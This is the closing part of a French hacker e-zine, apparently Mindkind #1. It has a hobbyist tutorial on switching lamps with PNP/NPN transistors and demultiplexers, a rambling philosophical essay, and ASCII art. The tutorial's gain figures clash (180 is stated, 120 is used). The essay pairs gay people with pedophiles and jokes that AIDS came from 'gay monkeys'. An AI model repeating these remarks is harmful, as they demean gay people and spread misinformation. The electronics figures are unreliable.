   arrondira  la baisse : (2.7k), (2.6k), ou (2.5k).
 
 videment  dans  le  cas  du PNP,  si on applique un courent de 0v,  le 
 transistor effectuera la tache calculer, mais avec un niveau logique de 
 5v,  le calcule deviendra :  12v-0.7v-5v / 4.17ma = 1.5k En  somme mme 
 si on a un niveau de 5v,  un  certain courent  va russir  passer dans 
 l'ampoule  (effet  indsirable, d 'autant plus que le transistor risque 
 de chauffer.)  Mais  il est quand  mme  simple de voir que ce type  de 
 circuit  est intressant si  vos  lumire  sont directement brancher au  
 Ground  (comme   dans   un   char  par  exemple).  Afin  de  rgler  ce  
 petit-problme  logique, egardons le modle NPN. 


 -=[Transistors NPN]=-
 
                   Emeteur
 12v Vcc __@__    _______ GND 
 Connecteur   \__/.
                | Base                       @ = Lumire!
                <
                > <-Rsistance
                <
   0-5v  ______.-

 Contrairement au PNP, ce transistor fournie un courent par  sa base qui  
 active le lien entre le  CONNECTEUR et l'EMETEUR. En somme si on envois  
 un  signal de 0v,  on  est  sur  qu'aucuns  courent  ne  pourra activer 
 le transistor  tandis  que  si  on  applique  un  signal  un  peu  plus  
 lever  comme 5v, on peut facilement calculer le courent  qui  passera.  
 Si  dans cette branche on a besoin de 500ma pour activer notre lumire,
 et que  notre  transistor a un facteur de gain de 180, on a qu`  faire
 comme  dans  le  cas  du  PNP,  500ma/120  = 4.17ma. Et pour obtenir se 
 courent  avec  5v   on   trouvera   la   valeur   de   la   rsistance: 
 Voltage/Ampre = Rsistance.  5v/4.17ma = 1.2k ohms. Donc avec ce  type 
 de  circuit  on peu facilement  contrler le "jus" de faon ON/OFF,  et  
 contrairement  au PNP on a  pas de problme de probabilit d'un courent 
 qui passerait pareil.  Par  contre  nos lumires doivent tre relier au 
 VCC directement  contrairement  au  ground.  (pour  certain  c'est  une  
 mthode satisfaisante pareil:)).
 
 Si   on   veut   utiliser le transistor PNP afin de l'appliquer  notre 
 montage, on devra mettre un NPN  sa base comme suis:

                  Connecteur
 12v Vcc _____    ___@___ GND    (PNP)
             .\__/
   Emeteur      | Base                       @ = Lumire!
                <
                > <-Rsistance
                <
                |
                |
                |
   Rsistance   | Connecteur
               .'             
 0-5 ---/\/\--|
         Base  ',
  (NPN)         | Emeteur
                | 
               ```
                `   GND


 Avec ce  type  de  circuit vous pouvez facilement utiliser le PNP sans 
 crainte de problmes car celui-ci dpend du  2e  transistor,  le  NPN. 
 Donc Le courent provenant de notre circuit passera par  le  transistor 
 NPN,  puis ira au ground, ce qui activera la base  du  transistor PNP. 
 Ceci aura  pour effet de drainer une partie du courant  d'alimentation  
 (Vcc) vers le ground provenant du NPN. Suite   cette "fuite", le lien  
 sera   effectuer  entre  l'alimentation  et  la  lumire  (qui devrait 
 allumer!).  Cette  technique  comporte  aussi un avantage intressant,  
 comme  les   transistors  ont un  facteur de gain (Hfe),  le fait d'en
 utiliser deux   pour  avantage  de  multiplier  le  gain. On pourrait 
 donc activer un circuit de 500ma non  plus  avec  4.17ma  mais    des 
 courent aussi bas que 34.8ua (4.17/120).

 En terminant sur le transistor,  si  vous  utiliser un  circuit  ayant  
 des sorties de type  "open collector" vous n'avez pas    utiliser  de 
 deuxime transistor comme dans le dernier circuit, en fait le chip  en  
 a  un a l'interne.(Bien sur si vous devez driver  10  ampres  oublier 
 a:)) En fait  tout est une question  de courent, il suffit de voir ou 
 celui  ci  s'en va  pour bien comprendre le principe!

 Donc afin de mettre la touche finale au circuit, il suffit de brancher
 la sortie des pins de sortie du demultiplexeur, et de les relier au la 
 base du transistor.

 Si  votre montage fonctionne pour le mieux (et on l'espere), une ligne 
 devrait  s'abaisser    0v sur vos 25 lignes (les 16  premiere pins du 
 1er demultiplexeur ainsi que les 9 suivantes sur le 2e demultiplexeur). 
 Si  c'est  le  cas,  et  que  vos transistors sont bien brancher, tout 
 devrait marcher!
 
 Il ne reste plus qu'a arreter cette Loop perpetuel..et pour ca c'est a 
 vous de trouver une solution:)..  au pire venez me la demander aumoins 
 ma savoir qui a qq'un qui a lut ca! 
 
 Si vous avez des problemes ou tout autre trouble  pas rapport, je suis 
 toujours pas tres loin donc je peux vous aider dans cet  exemple la ou 
 toute autre chose du meme type!

 D'ici la metter pas le feu  votre maison, et exiger de ne  pas  aller 
 chez Radio-Shack!
     
                             Have a lot of ... volutive fun;)
                              Qwzykx for readerless

.-----------------------------------------------------------------------.
|                                                                       |
'-----------------------------------------------------------------------'




           .
        .  .
        :  :
        |  |
        |  |
        |  |
        |  |
        |  |
        |  |
        |  |
        |  |
        |  |
        |  |
     ___|  |___
     \        /
      \      /
       \    /
        \  /
         \/



Nous mourrons lorsque nous avons toucher le fond de  notre  cerveau.  Le 
jour ou nous decouvrons la raison de la vie, nous  mourrons (a partir de
se point , nous pourrions p-e croire que cette phase  est  le  moment ou 
l'ont se detache de notre attache physique afin de commencez  notre  vie
en tant que nous meme dans un monde parfais  si  nous  etions  enclin  a 
croire pas mal toute doctrine religieuse  du  monde.  par  contre  si on 
ajoute au tableau un lapin qui saute partout gayment en fesant  semblant
de reelement acomplir un action on obtien une comedi pour  enfant. Bref, 
4 gars en soutane qui dise des allo a un  soleil.  Les  plus inteligents 
parte en premier, faque on est pogner avec  le reste, alors pour essayer
de comprendre  ce que  les  plus  inteligents  on  faite avant nous pour 
mourrire, on essaye  de  les  imiters, alors on emets pas mal de theorie
etrange que personne comprend  (pcq  ceux  qui  pourrais comprendre sont
dejas partie, on passe alors pour des genis pour les gens qui emetes pas
trop didee, mais qui sont encore capable de comprendre  plus  ou moin ce
qu'il se fait raconter, et alors plus les nouveau genie se retrouve pret
du fond de leur cerveau plus  certains se  perdent  en  chemin,  ont les 
appelles  des  fous. (eux  trouve  la  solution a u hazard). lorsque les 
nouveaux genies trouvent la reponse,  ils  meurent  a  leur  tour  (chez 
certain la reponse  de  leur  existance   est  tres  simple (ca fait pas 
longtemps qui sont  la,  il  on  tendance a  mourir plutot  jeune,  mais 
ce n'est pas vraiment  a  cause de leur grande inteligence, mais plus de  
leur  grande   inexperience  (moin  de chose a penser avant d'arriver au 
fond).  Donc quand les moin fou parte, et qu'il  sont  remplacer par les 
fou qui sont asser pas fou pour pas avoir lair fou sans pour autant  pas 
l'etre.  Imaginer un cercle (la terre), avec des  petite  boule  (nous),  
representant  des  centaines  de  personnes (aveugle (mentalement)). qui 
sont  prette  a  suivre  le  premier qui aura une idee et qui aura l'air 
saint desprit (ex, hitler, staline, jules, cesar, einstein, jules verne, 
le premier gay, les pedophiles, les temoins de jeovha, les secte ou tout 
le monde se suicide pour trouver la veritee, ne sont que quelque une des 
idee qui me vienne a l'esprit).  certains  sont  tellement  pret  de  la  
veriter qu'ils reussissent par fois a en entrainer des millions de perdu 
avec eux dans leur delires(ceux de lui, pas de la gagne de mouton (jvous 
dit ca pcq la phrase  est  un  peu longue :]). d'autre par contre  etais   
tellement  perdu  qu'il  posait  encore de plus  et  plus de  question a  
l'humaniter,  ayant  pour resultat de multiplier les raisons a  la  vie, 
donc de rendre l'esperance  de  vie  de c'est creature de plus  en  plus 
elever. Donc avec les nouveaux qui arrive  nous  nous retrouvons tous  a 
suivre de plus en plus d'idee qui  nous  mene  de  plus en plus vers des 
directions parfois de plus en  plus  bizard, et parfois de plus en  plus 
farfelu, ou de plus en  plus  respectueuse, ou de plus en plus sexuelle,  
a  la  recherche  de  la plus rechercher des questions, de la plus  vrai 
des veriters. jusqu'au  fond de notre cerveau, nous meme. Pour ma  par , 
je ne dispose que d'un seul  indice que je peu vous donnez, et pour vous 
je vais le faire ici. 


the anwser of life, the universe, and everything ... is....42


Vous pouvez decider de croire  ou  de  ne  pas  croire, mais apres tout, 
c'est une idee comme les autres, mais nous aurons nous  pourrons  savoir
le jour ou nous aurons  creer  une  vrai  inteligence  artificielle, car 
partout  les  choses  s'esserons de fonctionner pour des raisons de moin
en moin  comprenable et etrange, nous aurons alors un modele, sur lequel
nous pourrons etudier  l'humanitee,  pour  nous comprendre nous meme, un 
modele tres compliquer, presque autant que  nous  semble t'il, donc tres
long a comprendre. mais  ne  vous  inquietez  pas,  nous aurons alors en 
masse  de  temps  pour  reflechire  a  la question. Dailleur beaucoup de 
facon de voir les choses, semble evidante,  elle est dailleur equalement
deffendu par sont contraire, c'est que l'idee a faite beaucoup de chemin
pour  atteindre  cette  ampleur,  l'idee  doit  etre  bonne, il  est  si 
difficille de choisir, les raison sont si souvent tres relatives....



la prochaine fois que vous viendrez de faire quelque chose,  essayez  de
trouver de ou provien l'idee, on arrive souvent a une  reponse  qui  peu
causer une crise cardiaque..hahahhahahah, :]

he, jvien de trouver pourquoi le #2333000 est mort, une maladie que j'ai
nomer sida, probablement develloper par des singes gay, si  on  essayais 
de le comprendre, on pourrais surement vivre plus longtemps :}.



pour l'instant cassee vous donc pas la tete a savoir pourquoi mindkind 
#1 est terminer :]. enjoy et a la prochaine






Askee art/editing : Init_null, Wyzeman & vol sihze

Greetz : 



        ALL UR SOUL'S ARE BELONG TO US                     ____           
 +--------------------------------------------+        .-'&    '-.        
 |Mindkind is proud To own Everything. Even   *\      /           \       
 |this little sucky chick.                    |\\\   :   o    o    ;      
 |                                            |  XX (      (_       )     
 |Make sure to put your soul on a little bag  |//    :             ;      
 |and give it to us  We need more             *       \    __     /       
 |souls to continue our work !                |        `-._____.-'        
 |                                            |          /`"""`\          
 +--------------------------------------------+         /    ,  \         
Minkdind rulz!                                         /|/\/\/\ _\        
        _      _       _      _       _      _        (_|/\/\/\\__)       
       <')_,/ <') ,/  <')_,/ <') ,/  <')_,/ <') ,/      |_______|         
       (_==/  (_==/   (_==/  (_==/   (_==/  (_==/      __)_ |_ (__        
        ='-    ='-     ='-    ='-     ='-    ='-      (_____|_____)   
                                                                       







aut bibas aut abeas
